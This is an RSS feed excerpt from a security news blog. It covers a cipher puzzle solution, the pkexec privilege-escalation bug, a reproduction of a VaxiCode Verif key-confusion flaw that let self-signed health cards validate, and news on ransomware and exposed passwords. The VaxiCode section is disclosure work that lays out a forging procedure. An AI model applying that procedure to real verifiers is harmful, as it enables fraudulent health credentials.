 4       Q       R       S       T       U
 5       V       W       Y       X       I
</code></pre></div></div>

<p>With this key and this Polybius square, two numbers in our initial
sequence cannot be decoded 78 57 68 96 53 99 59 <strong>25</strong>
36 85 98 58 46 79 86 66 79 <strong>45</strong> 33 63 98 28 38 60 95. They correspond
to the letters at positions 8 and 18 of the message. With the current
superencryption key, the number 25 should be 10, since we should subtract
15 (because of the "E"), and the number 45 should be 30, for the same
reason.</p>

<p>But 10 and 30 cannot be obtained with the key and Polybius square we
found. However, the numbers 25 and 45 correspond to the missing letters
"K" and "U". These two letters were simply not superencrypted with
the key! This is either an unintentional mistake or an attempt to make
decrypting the message harder. In the end, everyone will agree with the
secret message: "private key is not a public key".</p>

<h1 id="official-solution">Official solution</h1>

<p>After I validated the secret message with the official authorities of La French Connection, the higher-ups sent me the official solution, which I am passing on to you. One particular point in it may leave us puzzled:</p>

<ol>
  <li>Text to encode: PRIVATEKEYISNOTAPUBLICKEY</li>
  <li>Key character set: ABCDEFGHIJKLMNOPQRSTUVVVXYZ  (w = VV)</li>
  <li>Key: SECURITE.FM</li>
  <li>Encode the answer in hex</li>
</ol>

<p>The whole thing was encoded using an unspecified tool, almost certainly using the Nihilist cipher. The tricky point in this solution is, of course, the period “.” between SECURITE and FM. It appears nowhere among the characters used in the cipher. And yet, the tool used did encrypt the message. This unconventional key probably explains why two letters were not encoded as expected.</p>

<p>This illustrates how hard it is to decrypt a message encoded with an unknown algorithm and unknown tools. You’re never safe from surprises.</p>

<h1 id="references">References</h1>

<ul>
  <li>
    <p><a href="https://www.dcode.fr/chiffre-nihiliste">https://www.dcode.fr/chiffre-nihiliste</a></p>
  </li>
  <li>
    <p><a href="https://gchq.github.io/CyberChef">https://gchq.github.io/CyberChef</a></p>
  </li>
  <li>
    <p><a href="https://alexbarter.com/cryptanalysis/breaking-nihilist-substitution-cipher/">https://alexbarter.com/cryptanalysis/breaking-nihilist-substitution-cipher/</a></p>
  </li>
  <li>
    <p><a href="http://www.crypto-it.net/eng/simple/nihilist.html">http://www.crypto-it.net/eng/simple/nihilist.html</a></p>
  </li>
  <li>
    <p><a href="http://www.benburlingham.com/core/articles/nihilist-cipher.html">http://www.benburlingham.com/core/articles/nihilist-cipher.html</a></p>
  </li>
</ul>

<p>(1) This work is subject to the WTFPL license. Visit
    <a href="http://www.wtfpl.net/">http://www.wtfpl.net/</a> for a full copy of this license.</p>

]]></content:encoded>
    </item>
    <item>
      <title>Linux vulnerability lets you be &quot;King of the World&quot;</title>
      <link>https://media.hackfest.ca/en/blog/linux-vulnerability-pkexec</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/linux-vulnerability-pkexec</guid>
      <pubDate>Fri, 28 Jan 2022 08:00:00 +0000</pubDate>
      <dc:creator>Jacques Sauvé</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Vulnerabilities</category>
      <category>Linux</category>
      <category>pkexec</category>
      <category>polkit</category>
      <category>privesc</category>
      <description>I woke up this morning to a very interesting news article on BleepingComputer: a new vulnerability has been disclosed that affects almost all the major Linux distributions. It allows any logged in user to easily elevate their privileges to that of root. Like, really easily!</description>
      <enclosure url="https://media.hackfest.ca/images/posts/masterlockrootpassword.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/masterlockrootpassword.webp" alt="Master Lock R00t Password" /></p>

<p>I woke up this morning to a very interesting news article on BleepingComputer: a new vulnerability has been disclosed that affects almost all the major Linux distributions. It allows any logged in user to easily elevate their privileges to that of root. Like, really easily!</p>

<p>The issue was discovered by Qualys researchers back in November 2021, and through “responsible disclosure” allowed the vendors to issue a patch (note that not ALL distributions have been patched, as you’ll see later). The bug is in the “pkexec” module, part of the “Policy Toolkit” (or Polkit for short) which handles requests to run commands as another user, much like “su”.</p>

<p>As it turns out, it’s an absolutely simple process to bypass pkexec and elevate one’s privileges to that of root. An exploit was published no less than 3 hours after Qualys published their findings. Curious to see if my Kali Linux VM was vulnerable, I did a quick Google search for the code shown in the BleepingComputer article; it literally comes up in 0.39 seconds and is the first link - talk about great SEO!</p>

<p>As you can see from the video below, I compiled the code and ran it, and sure enough: I was root!</p>

<p>Curious to see if Kali had released any updates for it (this VM was last updated about a week ago, as I keep my systems very up-to-date), I ran the full update and tried the exploit again. Unfortunately, it still worked, as the version of pkexec was still 0.105, the same as before the updates.</p>

<p>If your Linux distribution vendor has not yet updated their pkexec module, one mitigation described in the article is simply to strip the Read/Write rights from the file using “chmod 0755 /usr/bin/pkexec”.</p>

<p>This is nowhere as severe as the recent Log4j vulnerability, of course, as it would be highly unlikely that a logged in Linux server would be exposed to the Internet (right???), but it still puts your systems at risk from internal threats, or perhaps even from an outside attacker who is executing lateral movements inside your network. One potential risk is that an organisation might provide login credentials to IT techs to execute simple tasks without necessarily providing them with root access; this exploit allows them to very simply elevate their privileges and potentially cause damage.</p>

<iframe width="560" height="315" src="https://www.youtube.com/embed/fNQV-ooPJDE" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe>

<p>Photo credit: <a href="https://www.flickr.com/photos/schill/">schill</a> - <a href="https://creativecommons.org/licenses/by/2.0/">licence CC BY</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Analysis of a vulnerability in the VaxiCode Verif application</title>
      <link>https://media.hackfest.ca/en/blog/vaxicode-verif-vulnerability-analysis</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/vaxicode-verif-vulnerability-analysis</guid>
      <pubDate>Tue, 31 Aug 2021 16:30:00 +0000</pubDate>
      <dc:creator>Anonymous contributor</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Vulnerabilities</category>
      <category>VaxiCode</category>
      <category>JWS</category>
      <category>QR code</category>
      <category>health</category>
      <description>The VaxiCode Verif application recently launched by the Government of Québec was the subject of a vulnerability disclosure allowing fake codes to be validated. Here is our analysis.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/vaxicode-featured.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/vaxicode-featured.webp" alt="A fake VaxiCode" /></p>

<h2 id="understanding-smart-health-cards">Understanding SMART Health Cards</h2>

<p>The <a href="https://spec.smarthealth.cards">SMART Health Card (SHC)</a>, which contains the information stored in your QR code, is based on a proven technology known as JSON Web Signature (<a href="https://fr.wikipedia.org/wiki/JSON_Web_Signature">explainer</a>, <a href="https://datatracker.ietf.org/doc/html/rfc7515">JWS specification</a>).</p>

<p>JWS allow, among other things, the cryptographic signing of arbitrary data (the payload), as well as its verification using information (the headers) contained within that very data, namely the public key and the signing method.</p>

<p>This same technology is used to build other technologies such as JSON Web Token, the Open ID suite of specifications, and others, which are very frequently used to store data outside of a controlled environment while ensuring its verifiable validity. For example, if you frequently use Google services, this same technology is used to connect you to them securely.</p>

<p>The concept of a signature involves a private key and a public key. The entity (the Government of Québec) that publishes the data (the QR code representing the SHC) uses the private key to sign it, and the applications that consume it use the public key (the VaxiCode Verif app) to validate that this data has not been modified by a malicious person. Without going into detail, the signed data is then considered safe and verifiable. For more information, we invite you to consult this <a href="https://fr.wikipedia.org/wiki/Signature_numérique">article on signatures</a>.</p>

<p>Now that we know the SHC data is tamper-proof, what does your QR code contain? It contains a few pieces of information, called <code class="language-plaintext highlighter-rouge">claims</code>.</p>

<p>A first claim, <code class="language-plaintext highlighter-rouge">iss</code> or <em>issuer</em>, identifies the entity that publishes this data. Another, <code class="language-plaintext highlighter-rouge">iat</code> or <em>issued at</em>, indicates the date on which it was published. Finally, a claim named <code class="language-plaintext highlighter-rouge">vc</code> or <em>verifiable credentials</em> contains the crucial information of the SHC.</p>

<p>Present in the latter are the type of data that the SHC contains (immunization data, COVID-19 context and others), and a list of entries.</p>

<p>One in particular describes the patient (you) who is the subject of the SHC. In it are found <strong>only</strong> your first name, last name, and your date of birth.</p>

<p>Then, for each dose of vaccine received, you will also find the information describing which vaccine was received, on what date, and the name of the place where the injection was performed.</p>

<h2 id="the-vulnerability">The vulnerability</h2>

<p>Let us now return to the main issue, namely the vulnerability contained in versions 1.0.1 and earlier of the VaxiCode Verif app.</p>

<p>It would allow the application to validate codes that were not issued by the Government of Québec. By this, we mean that a person would be able to issue and sign an SHC themselves, thereby succeeding in defeating the application’s verification that the data included in it is indeed truthful (signature) and endorsed by the only authority currently having the capacity to issue SHCs (claim <code class="language-plaintext highlighter-rouge">iss</code>).</p>

<p>This vulnerability was first made public on Friday, August 27, 2021, in <a href="https://ici.radio-canada.ca/nouvelle/1819589/passeport-vaccinal-faille-application-vaxicode">an article</a> by Radio-Canada.</p>

<h2 id="possible-avenues-of-vulnerability">Possible avenues of vulnerability</h2>

<p>Before validating the vulnerability of the verification application, let us go through several common problems in the implementation of JWS validations and similar technologies that could allow such a result.</p>

<p>Since the vulnerability was found less than 24 hours after the application’s release, it is unlikely that the flaws are the result of very complicated operations. Let us start with these few basic checks:</p>

<ol>
  <li>Are the public keys indeed used to validate the content of the JWS?</li>
  <li>Is the validation of the <code class="language-plaintext highlighter-rouge">iss</code> claim done correctly?</li>
  <li>Are the external JWK downloaded and used?</li>
  <li>Are the keys used <em>properly</em>?</li>
  <li>Could it be possible that insecure signing modes are allowed (specifically, <code class="language-plaintext highlighter-rouge">alg: "none"</code>)?</li>
</ol>

<h2 id="tools-used">Tools used</h2>

<p>The following common tools were used for the majority of the tests:</p>

<ul>
  <li><a href="https://github.com/http-party/http-server">http-server</a> to serve files during the tests.</li>
  <li><a href="https://ngrok.com">ngrok</a> to make the server publicly available.</li>
  <li><a href="https://github.com/Path-Check/shc-sdk.js">@pathcheck/shc-sdk</a> to easily generate SHC, JWKS and others. It uses the common package <a href="https://github.com/cisco/node-jose">node-jose</a>.</li>
  <li><a href="https://bramp.github.io/smart-health-card-scanner/">Smart Health Card Scanner</a> to inspect SHC easily.</li>
  <li>A QR scanning application to read the content of the QR codes.</li>
</ul>

<p>To validate <code class="language-plaintext highlighter-rouge">alg: "none"</code>, these were added to the list:</p>

<ul>
  <li><a href="https://github.com/auth0/node-jwa">node-jwa</a> to generate JWS with this type of algorithm.</li>
  <li><a href="https://datatracker.ietf.org/doc/html/rfc7518#section-8.5">pako</a> to compress the JWS payload.</li>
</ul>

<h2 id="checks">Checks</h2>

<h3 id="use-of-the-governments-public-key-and-use-of-the-iss-claim">Use of the government’s public key and use of the <code class="language-plaintext highlighter-rouge">iss</code> claim</h3>

<p>To begin, an existing QR was scanned to obtain the string of characters making up the SHC. The latter was opened in the Smart Health Card Scanner to quickly visualize its content.</p>

<p>Its content was copied into a script allowing a new SHC to be generated using SHC-SDK, but signed with a different JWK than the application’s. The payload was left identical.</p>

<p>At the same time, the <code class="language-plaintext highlighter-rouge">iss</code> claim is left identical to validate that this does not allow the signature validation to be ignored.</p>

<p><strong>Result</strong>: VaxiCode Verif displays an error message: <em>This QR code is not valid proof of vaccination</em>. We assume that the signature was indeed validated and that the <code class="language-plaintext highlighter-rouge">iss</code> claim does not allow it to be bypassed.</p>

<p><img src="https://media.hackfest.ca/images/posts/vaxicode-erreur-preuve-vaccination.webp" alt="This QR code is not valid proof of vaccination" style="max-width: 320px" /></p>

<h3 id="external-jwk">External JWK</h3>

<p><a href="https://datatracker.ietf.org/doc/html/rfc7517">JWK is a format allowing the exchange of cryptographic keys</a> that is used when validating the signatures of the SHC issued by the government. We speak of JWKS when it is a set of keys (JSON Web Key Set).</p>

<p>We attempt to import an external JWKS at the path <code class="language-plaintext highlighter-rouge">.well-known/jwks.json</code>. A very simple local HTTP server is set up behind a tunnel to make it publicly available with the HTTPS protocol. The <code class="language-plaintext highlighter-rouge">iss</code> claim is changed to the tunnel’s domain (for reference, let us call it Serveur.Local). A JWKS is also generated, then placed in the <code class="language-plaintext highlighter-rouge">.well-known</code> folder, then the SHC is generated and scanned. The JWKS is therefore accessible at the address <code class="language-plaintext highlighter-rouge">https://Serveur.Local/.well-known/jwks.json</code>.</p>

<p><strong>Result</strong>: The proxy indicates having indeed received a call to <code class="language-plaintext highlighter-rouge">GET /.well-known/jwks.json</code>. At the time of the scan, VaxiCode Verif indicates an error: <em>Certified by an unknown authority. Serveur.Local</em>. We assume that the JWK were indeed imported. This is entirely normal up to this point.</p>

<p><img src="https://media.hackfest.ca/images/posts/vaxicode-erreur-issuer.webp" alt="Certified by an unknown authority. Serveur.Local" style="max-width: 320px" /></p>

<h3 id="usage-of-public-keys">Usage of public keys</h3>

<p>We now attempt to see whether the JWK that was imported is usable only by its issuer. We set the <code class="language-plaintext highlighter-rouge">iss</code> claim back to its initial value (https://covid19.quebec.ca/PreuveVaccinaleApi/issuer) and generate a new SHC, then scan it.</p>

<p><strong>Result</strong>: The SHC is accepted as truthful. <strong>We have reproduced the vulnerability</strong>. We deduce that the JWK that was imported in the last step was not correctly marked as being usable <strong>only</strong> by the issuer Serveur.Local to validate signatures, and that the issuer https://covid19.quebec.ca/PreuveVaccinaleApi/issuer is now able to validate signatures with the keys of Serveur.Local, which should never happen.</p>

<p><img src="https://media.hackfest.ca/images/posts/vaxicode-preuve.webp" alt="SMART Health Card authorized" style="max-width: 320px" /></p>

<h3 id="insecure-signatures">Insecure signatures</h3>

<p>A compliant JWS similar to the SHC format was also created and scanned, but with the following header:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"alg"</span><span class="p">:</span><span class="w"> </span><span class="s2">"none"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"zip"</span><span class="p">:</span><span class="w"> </span><span class="s2">"DEF"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">alg: "none"</code> indicates to the signature verifier that there is <a href="https://datatracker.ietf.org/doc/html/rfc7518#section-8.5">no signature to verify</a>.</p>

<p><strong>Result</strong>: The VaxiCode Verif app is simply unable to recognize a QR code of this type. No vulnerability here.</p>

<h2 id="analysis">Analysis</h2>

<p>The problem causing the vulnerability is mentioned in the SHC specification. It is the responsibility of the group developing an application making use of the SHC standard to pay attention to it. The problem is described directly:</p>

<ol>
  <li>in the SHC specification, sections <a href="https://spec.smarthealth.cards/#signing-health-cards">Signing Health Cards</a> and <a href="https://spec.smarthealth.cards/#determining-keys-associated-with-an-issuer">Determining keys associated with an issuer</a> as well as</li>
  <li>in the JWS specification, section <a href="https://datatracker.ietf.org/doc/html/rfc7515#section-10.3">Key Origin Authentication</a>, from which <a href="https://spec.smarthealth.cards/#health-cards-are-encoded-as-compact-serialization-json-web-signatures-jws">the former inherits</a>.</li>
</ol>

<p>“10.3.  Key Origin Authentication:
The key management technique employed to obtain public keys must authenticate the origin of the key; otherwise, it is unknown what party signed the message.”</p>

<p><a href="https://datatracker.ietf.org/doc/html/rfc7515#section-10.3">Excerpt from the JWS specification</a></p>

<p>In clearer terms, one must ensure that the signature is verified <strong>only</strong> with keys originating from the issuer, but the implementation in the VaxiCode Verif application did not do so for versions &lt;=1.0.1.</p>

<h2 id="are-the-qr-codes-compromised">Are the QR codes compromised?</h2>

<p><strong>No.</strong> As mentioned, the QR codes that contain the SHC information are compliant with the specification and are entirely secure.</p>

<p>Here, the first part of the problem lies in the fact that the keys used to verify the codes are not <strong>only</strong> associated with their respective issuers. This is a regrettable omission, however (and fortunately), it is easy to fix.</p>

<p>In addition, the application should only validate trusted issuers, which seems to be the case, but remains to be verified following the correction.</p>

<h2 id="validation-of-the-fix">Validation of the fix</h2>

<p>On Sunday, August 29, 2021, a new version of VaxiCode Verif, 1.0.2, was published on the Apple App Store. The changes are described as follows:</p>

<blockquote>
  <ul>
    <li>Improvement of the proof verifier</li>
    <li>Improvements for smaller screens</li>
    <li>Accessibility improvements</li>
  </ul>
</blockquote>

<p>We used the same procedure as the one described above to attempt to validate the fix.</p>

<p><strong>Result</strong>: The vulnerability has indeed been fixed, and we are no longer able to exploit it.</p>

<p>Without access to the application’s code, it is difficult to describe exactly the fixes made. However, we are still able to make a few observations. The most important concerns the fact that the application no longer downloads the external JWKS at the issuer’s <code class="language-plaintext highlighter-rouge">/.well-known/jwks.json</code> path; it is therefore no longer able to perform either the import or the validation of signatures generated with keys other than the government’s. In addition, the error message displayed in this case is no longer <em>Certified by an unknown authority. Serveur.Local</em>, but rather <em>This QR code is not valid proof of vaccination</em>.</p>

<p><img src="https://media.hackfest.ca/images/posts/vaxicode-erreur-correction.webp" alt="This QR code is not valid proof of vaccination" style="max-width: 320px" /></p>

]]></content:encoded>
    </item>
    <item>
      <title>Vulnerabilities and the Vaccine Passport</title>
      <link>https://media.hackfest.ca/en/blog/vaccine-passport-vulnerabilities</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/vaccine-passport-vulnerabilities</guid>
      <pubDate>Fri, 27 Aug 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Vulnerabilities</category>
      <category>vaccine passport</category>
      <category>QR code</category>
      <category>health</category>
      <description>Things must have been heating up in the offices of the Ministère de la Santé et des Services sociaux (MSSS) on Friday morning. After hammering home that using the QR code as proof of vaccination was 100% secure, two flaws were reported in the media. First, hackers demonstrated that it was possible to download proofs of vaccination that were not intended for them. Second, another individual demonstrated that it was possible to create fake QR codes from scratch. In less than 24 hours.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/eff-dumpster-fire.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/eff-dumpster-fire.webp" alt="Visible passwords" /></p>

<p>Things must have been heating up in the offices of the Ministère de la Santé et des Services sociaux (MSSS, Québec’s health and social services ministry) on Friday morning.</p>

<p>After hammering home that using the QR code as proof of vaccination was 100% secure, two flaws were reported in the media.</p>

<p>First, hackers demonstrated that it was possible to download proofs of vaccination that were not intended for them.</p>

<p>Second, another individual demonstrated that it was possible to create fake QR codes from scratch.</p>

<p>In less than 24 hours.</p>

<p>The MSSS’s initial reaction was to issue a press release stating that “formal complaints have already been filed with the police. The competent authorities will investigate and determine whether criminal charges should be laid.”</p>

<p>We understand their embarrassment. For weeks, the Ministry has been telling us that the chosen solution is secure. In its press release, it doubles down. “The MSSS reiterates that the QR code is secure,” it reads.</p>

<p>And yet, the proof of vaccination was easy to download. All you needed was the person’s name and date of birth. With this information and a few lines of code, you can deduce the health insurance number. Knowing the date and manufacturer of the first vaccine dose speeds up the process. This information is often easy to find on social media.</p>

<p>According to an anonymous source, some of the responses returned by the site made the task easier. “If you have the right health insurance [ number ], it tells you if the date is wrong,” he explained to us. In addition, another message lets you know if you provided the wrong manufacturer name.</p>

<p>According to this person, you are “able to make a lot of requests and nothing stops [ you ].”</p>

<p>Returning error messages this useful to a hacker is a practice to avoid. It gives clues, and it is the first thing a security researcher will look at.</p>

<p>Another security practice is to put measures in place to prevent “brute force”, that is, to prevent someone from trying every possible combination of a health insurance number until they find the right one.</p>

<p>This does not seem to have been done adequately.</p>

<p>Fortunately, these two flaws were found by people who had the common good in mind. An unscrupulous person could have sold their services creating fake QR codes. A malicious person could have publicly released the proofs of vaccination.
That is not what happened. The hackers who found these flaws contacted journalists. They wanted these risks to be known and taken seriously.</p>

<p>Instead of calling the police, perhaps we should consider thanking them.</p>

<p>There is currently no official mechanism for a hacker who has found a vulnerability to report it to the government.</p>

<p>It would be a good idea to set one up.</p>

<p>It would be more useful than repeating that everything is fine.</p>

<p>Photo credit: <a href="https://www.flickr.com/photos/electronicfrontierfoundation/">EFF</a> - <a href="https://creativecommons.org/licenses/by/2.0/">CC BY license</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Password Pains</title>
      <link>https://media.hackfest.ca/en/blog/passwords-on-display-cisss</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/passwords-on-display-cisss</guid>
      <pubDate>Thu, 19 Aug 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Leaks &amp; privacy</category>
      <category>passwords</category>
      <category>health</category>
      <description>Recently, an anonymous source sent a photo to Hackfest. This person had gone to a CLSC in the Québec City region. At the front desk sat a computer. On it, the passwords were clearly displayed. Really, plainly visible. They hadn’t been scribbled on a Post-it. No. Someone had gone to the trouble of doing a nice job.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/mdp-visible-cisss.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/mdp-visible-cisss.webp" alt="Visible passwords" /></p>

<p>Before I hung up my white coat, I was a family doctor at a CLSC in downtown Montréal. Every month, the system asked me to change my password. This message was usually preceded by several others warning me that the password would have to be changed in x days.</p>

<p>I had gotten into the habit of ignoring them.</p>

<p>It’s a law of nature that the final message, like a Windows update, always arrives at the worst possible moment.</p>

<p>It usually happened when I was busy and tired. I had possibly just spent 24 hours in the hospital delivery room catching babies, and I had 14 phone messages to return, four faxes to send, illegible reports to decipher and people waiting for me in the waiting room.</p>

<p>When I started at the CLSC, the system administrator had given me a “temporary” password. For all practical purposes, I kept it for 5 years.</p>

<p>It was something like “samhar01”.</p>

<p>There was a rule preventing the reuse of recent passwords. But I quickly realized that once I got to samhar09, I could start over at 01. It was very convenient.</p>

<p>The problem is that I had never considered the risk this posed, and nobody ever brought it up with me.</p>

<p>Recently, an anonymous source sent a photo to Hackfest. This person had gone to a CLSC in the Québec City region. At the front desk sat a computer. On it, the passwords were clearly displayed. Really, plainly visible. They hadn’t been scribbled on a Post-it. No. Someone had gone to the trouble of doing a nice job.</p>

<p>I contacted the CISSS (Centre intégré de santé et de services sociaux, the integrated health and social services centre). Ms. Maryse Rodrigue, from the communications department, replied that the CISSS “[ regularly ] reminds employees about the confidentiality of access codes and passwords, and that there is a policy on this matter.”</p>

<p>The spokesperson also assured me that there would be a follow-up “to rectify the situation”.</p>

<p>The goal here is not to point fingers at the employee who stuck their password on the computer. It is risky behaviour. Unfortunately, experience shows that the more restrictive certain rules and practices become, the more people find ways to get around them. Moreover, training on “why” this behaviour is risky is often lacking.</p>

<p>I asked Vincent Tremblay, a cybersecurity specialist and Hackfest organizer, whether organizations should require their employees to change their passwords often. He told me that “password policies are a double-edged sword. Too complicated? People will do anything to bypass them or just won’t care, and we’re back to square one. Too simple, but you have to change it too often? You can expect ticket #1 to be ‘I forgot my password and it won’t let me change it’.”</p>

<p>So, what do we do?</p>

<p>The solution lies in awareness and education. Authentication isn’t there to annoy us, but to protect highly sensitive and confidential data. Understanding the “why” is essential. Because yes, if we don’t understand its importance, security is often perceived as an obstacle.</p>

<p>While we wait for “passwordless authentication”, we can drop certain outdated practices and use passphrases, relaxing the rules on password complexity and frequent rotation.</p>

<p>Above all, we need to create an environment where employees have the time they need to devote to good information security practices.</p>

<p>We could also stop using the fax machine, but that’s a topic for another day.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Lareau insurance brokers hit by ransomware</title>
      <link>https://media.hackfest.ca/en/blog/lareau-insurance-brokers-ransomware</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/lareau-insurance-brokers-ransomware</guid>
      <pubDate>Fri, 06 Aug 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Ransomware</category>
      <category>Conti</category>
      <category>insurance</category>
      <description>The day after Québec’s Fête nationale, a criminal group claimed an attack against Lareau courtiers d’assurances. Security experts worry that this attack could be used to target other Québec companies.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/lareau-rancon.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/lareau-rancon.webp" alt="lareau" /></p>

<p>The day after Québec’s Fête nationale, a criminal group claimed an attack against Lareau courtiers d’assurances. Security experts worry that this attack could be used to target other Québec companies.</p>

<p>On June 25, the Conti ransomware group publicized attacks against several new victims. Among them was the company headquartered in Napierville.</p>

<p>The criminals published a list of devices belonging to the company as well as a list of encrypted passwords. These use the standard encryption of the Windows operating system. According to our analysis, some of them were fairly easy to crack. For now, no personal data has been released on the ransom group’s website.</p>

<p>Once they have access to a network, these groups usually deploy ransomware. This is a program that encrypts data and renders it unusable. A key is needed to recover it. To increase pressure on their victims, they usually threaten to publicly release the information they have stolen.</p>

<p>Lareau has 8 branches in Québec and a team of more than 180 professionals. According to its website, Lareau offers cyber-risk protection.</p>

<p>Targeting a company offering this type of coverage is “the perfect recipe,” according to Steve Waterhouse, a former cyber defence officer in the Canadian Armed Forces. According to the security expert, this attack could help the attackers target their next victims. It allows them to adjust their ransom demands based on the victims’ ability to pay. “It’s brilliant. It lets them do a roaring trade,” he adds.</p>

<p>Lareau did not respond to our requests for information. For Mr. Waterhouse, companies are very reluctant to talk about these incidents because they fear for their reputation. “Security through obscurity should no longer have a place,” he laments.</p>

<p>Photo credit: <a href="https://www.flickr.com/photos/bg_dn/">begemot_dn</a> - <a href="https://creativecommons.org/licenses/by-nc/2.0/">CC BY-NC license</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Cyberattack against Groupe Filgo-Sonic</title>
      <link>https://media.hackfest.ca/en/blog/filgo-sonic-cyberattack</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/filgo-sonic-cyberattack</guid>
      <pubDate>Mon, 12 Jul 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Ransomware</category>
      <category>Vice Society</category>
      <category>energy</category>
      <description>A new ransomware group has targeted petroleum products distributor Filgo-Sonic. The company shut down some of its IT systems, but deliveries to customers continued.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/Vice_filgo.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/Vice_filgo.webp" alt="filgo" /></p>

<p>A ransomware group has targeted petroleum products distributor Filgo-Sonic. The company shut down some of its IT systems, but deliveries to customers continued.</p>

<p>Ms. Véronique Simard, a spokesperson for the organization, replied that the company “confirms that in recent weeks it experienced a shutdown of its IT systems that affected certain operations. While the Group works to restore normal operations, customer service continues without interruption.”</p>

<p>The company did not give details on which services were affected, but specified that “these are mainly central services such as billing.” Shutting down these systems “was necessary as a protective and remediation measure following a cyberattack carried out by an attacker outside the organization,” Ms. Simard explained. With the investigation still ongoing, the company cannot provide further details, but says the systems are being restored.</p>

<p>The criminals published documents they claim to have stolen from the company. These documents are dated June 3 and June 27. The spokesperson says the company “is aware that the attackers published files. Our IT team and our cybersecurity experts retrieved these files and analyzed them.” They are currently in the process of notifying the people affected by this security incident.</p>

<p>Groupe Filgo-Sonic is a Québec company headquartered in Sainte-Marie, in the Beauce region. It owns the Miraco and Sonic gas station banners. According to its website, the Group is “present in Québec’s main regions.” It operates in the distribution of petroleum products to residential and commercial customers, maintains a network of gas stations and convenience stores, and distributes Shell Lubricants.</p>

<p>“Vice Society,” the group that claimed this attack, appeared on the ransomware scene in June 2021. Despite being new, it was one of the most active groups in June. This criminal group announced about ten security breaches during its first month of operation. Schools and hospitals are among the organizations listed on its site.</p>

<p>The software used to encrypt the files is reportedly a variant of the “HelloKitty” ransomware, <a href="https://twitter.com/demonslay335/status/1403109032014061568">according to Michael Gillespie</a>, a researcher specializing in malware. The “HelloKitty” group recently made headlines because <a href="https://blog.emsisoft.com/en/37783/hellokitty-ransomware-group-likely-responsible-for-cd-projekt-attack-heres-why/">it had been blamed</a> for the attack against video game company “CD Projekt,” creator of the title “Cyberpunk 2077.”</p>
]]></content:encoded>
    </item>
    <item>
      <title>Arrest of individuals linked to the Cl0p group</title>
      <link>https://media.hackfest.ca/en/blog/clop-group-arrests</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/clop-group-arrests</guid>
      <pubDate>Wed, 16 Jun 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Ransomware</category>
      <category>Cl0p</category>
      <category>arrests</category>
      <category>Interpol</category>
      <description>This morning, Ukrainian police arrested six individuals linked to the Cl0p ransomware group. Authorities announced that they carried out 21 searches of homes and cars belonging to the suspects in the Kyiv region. Computer equipment, cars and nearly 5 million hryvnias (about CA$225,000) were seized.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/arrestationClop.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/arrestationClop.webp" alt="arrest" /></p>

<p>This morning, Ukrainian police arrested six individuals linked to the Cl0p ransomware group. Ukrainian authorities issued <a href="https://cyberpolice.gov.ua/news/kiberpolicziya-vykryla-xakerske-ugrupovannya-u-rozpovsyudzhenni-virusu-shyfruvalnyka-ta-nanesenni-inozemnym-kompaniyam-piv-milyarda-dolariv-zbytkiv-2402/">a press release</a> on Wednesday, June 16, to announce the operation. It was coordinated by Interpol and conducted in collaboration with officers from the United States and South Korea.</p>

<p>Authorities announced that they carried out 21 searches of homes and cars belonging to the suspects in the Kyiv region. Computer equipment, cars and nearly 5 million hryvnias (about CA$225,000) were seized.</p>

<p>At this time, we do not know whether these are key members of the Cl0p group or affiliates. Organizations like Cl0p, which offer ransomware as a service, recruit affiliates. It is these affiliates who infiltrate vulnerable computer networks and deploy the malware provided by the group.</p>

<p>Groups like Cl0p provide the software used to encrypt the victim’s data, the website used to publish stolen documents and a platform to negotiate the ransom. Profits are then shared between the affiliates and the service provider.</p>

<p>This morning, the group’s leak site, hosted on the Tor network, was still accessible.</p>

